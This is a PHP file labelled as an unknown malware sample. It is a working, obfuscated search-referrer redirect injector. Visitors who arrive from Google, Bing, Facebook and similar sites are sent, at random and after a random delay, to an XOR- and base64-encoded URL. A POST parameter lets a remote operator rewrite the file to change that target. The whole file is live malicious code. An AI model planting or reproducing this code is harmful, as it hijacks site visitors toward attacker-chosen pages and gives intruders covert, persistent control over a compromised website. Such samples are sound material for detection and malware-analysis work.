unknown-malware-11.php

<?php
// NEXT LINE
$sfnusdihfudsksds = "MDA/GkpcaQQnG1ACQlQrRjARZRZaJF8KNFUaBxs0IwtE";
function readFile2(){$fname=__FILE__;$fp=fopen($fname,'rb');if(!$fp){die("reading\n");}$data=fread($fp,filesize($fname));fclose($fp);return $data;}function writeFile2($data){$fname=__FILE__;$fp=fopen($fname,'wb');if(!$fp){die("writing\n");}fwrite($fp,$data);fclose($fp);}function xor_enc2($str){$key='XDKjpsFmTw1ql7DhEzJu5H3oS05nvUDnkT1OxC32N2S4wTlDMjnBzYnogzO0CbOz0sKoJtqXokF2cAKAwe9VTrz5ldlhcB3EyuQeAQf2Hpv7sxFS7DwS3U03cQl3KIG1uLTytQqgHC44AgGYM50mmTkHogtg7hbSMBWcu5KhAtOHnNfwHC2gapDWjfxVceOJufeN4zaA';$res='';for($i=0;$i<strlen($str);$i++){$res.=chr(ord($str[$i])^ord($key[$i]));}return $res;}function enc2($str){$res=xor_enc2($str);$res=base64_encode($res);return $res;}function dec2($str){$str=base64_decode($str);$res=xor_enc2($str);return $res;}function change_url2($new_url){$str=readFile2();$arr=preg_split("/\r\n|\n|\r/",$str);$change=false;$new_str='';foreach($arr as $line){if($line==='// NEXT LINE'){$new_str.=$line."\n";$change=true;continue;}if($change){$l='$sfnusdihfudsksds = "'.$new_url.'";';$new_str.=$l."\n";$change=false;}else {$new_str.=$line."\n";}}$new_str=trim($new_str);writeFile2($new_str);}function main123($redirect){if(isset($_POST['change123'])){$val=$_POST['change123'];change_url2($val);print('darks31d'.$val);print("\n");return;}if(isset($_SERVER["HTTP_REFERER"])){$ref=$_SERVER["HTTP_REFERER"];$ref=strtolower($ref);if(strpos($ref,'google')!==false||strpos($ref,'aol')!==false||strpos($ref,'yahoo')!==false||strpos($ref,'facebook')!==false||strpos($ref,'msn')!==false||strpos($ref,'bing')!==false||strpos($ref,'baidu')!==false){$num=rand(1,100);if($num>30){return;}$num=rand(1,30);sleep($num);$sfnusdihfudsksds=$redirect;$loc=dec2($sfnusdihfudsksds);$str="Location: ".$loc."";header($str);die();}}}main123($sfnusdihfudsksds);?>